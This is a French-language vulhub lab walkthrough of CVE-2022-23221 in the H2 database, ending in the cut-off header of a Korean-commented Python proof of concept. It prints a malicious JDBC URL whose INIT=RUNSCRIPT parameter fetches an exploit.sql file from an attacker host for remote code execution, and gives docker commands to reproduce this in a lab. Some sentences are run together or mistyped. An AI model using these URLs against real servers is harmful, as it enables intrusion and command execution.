
vulhub/H2-database/CVE-2022-23221
Référence : https://nvd.nist.gov/vuln/detail/cve-2022-23221
H2 est un système de gestion de base de données relationnelle qui offre la possibilité de compiler et d'exécuter directement du code Java au sein du moteur SQL.
Le pilote H2 analyse l'URL JDBC pour établir la connexion entre l'application et la base de données. Les paramètres de configuration inclus dans l'URL permettent alors de contrôler l'état initial ou le comportement de la base de données.
Les versions de H2 antérieures à 2.1.210 présentent une vulnérabilité permettant d'exécuter un script SQL distant via le paramètre INIT de l'URL JDBC. Un attaquant peut exploiter cette faille pour injecter à distance un script SQL manipulé et exécuter des commandes système par l'intermédiaire des instructions qu'il contient, ce qui déclenche la vulnérabilité CVE-2022-23221.
Les caractéristiques de cette vulnérabilité sont les suivantes.
Périmètre d'impact de la vulnérabilité
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> contournement des paramètres de sécurité
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> commande SQL exécutée automatiquement lors de la connexion entre l'application et la base de données
CREATE ALIAS.
CREATE ALIAS présente dans le script exécuté à distance amène H2 à exécuter la fonction Java contenue dans le script au sein de la base de données, ce qui aboutit à une RCE.Scénario
id, whoami, pwd, cela signifie que l'environnement H2 vulnérable a été configuré et que, lors de l'analyse de l'URL JDBC malveillante, H2 a téléchargé à distance le fichier exploit.sql depuis le serveur attacker externe et l'a exécuté.Configuration de l'environnement
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : fournit le fichier exploit.sqlAprès avoir configuré l'environnement, si vous accédez à http://your-ip:8082, la page web H2 apparaît.
: Dans la console web, une politique de sécurité est appliquée, ce qui peut entraîner le filtrage des paramètres constituant les conditions de la vulnérabilité. Par conséquent, on reproduit la vulnérabilité en saisissant directement via la CLI une URL JDBC contenant des paramètres malveillants, puis on vérifie le résultat.
URL JDBC normale : "jdbc:h2:mem:test"
Commande de requête normale
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Résultat de l'exécution

On saisit une URL JDBC malveillante dans le pilote H2 pour tenter une connexion au serveur attacker. Il existe 2 méthodes pour saisir l'URL à ce moment-là.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2 demande (HTTP GET) le fichier exploit.sql au serveur attacker conformément à INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' spécifié dans le paramètre INIT de l'URL JDBC, puis l'exécute dans la base de données H2.
docker logs attacker, on peut consulter le journal de la requête du fichier exploit.sql provenant du serveur h2-vulnerable.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys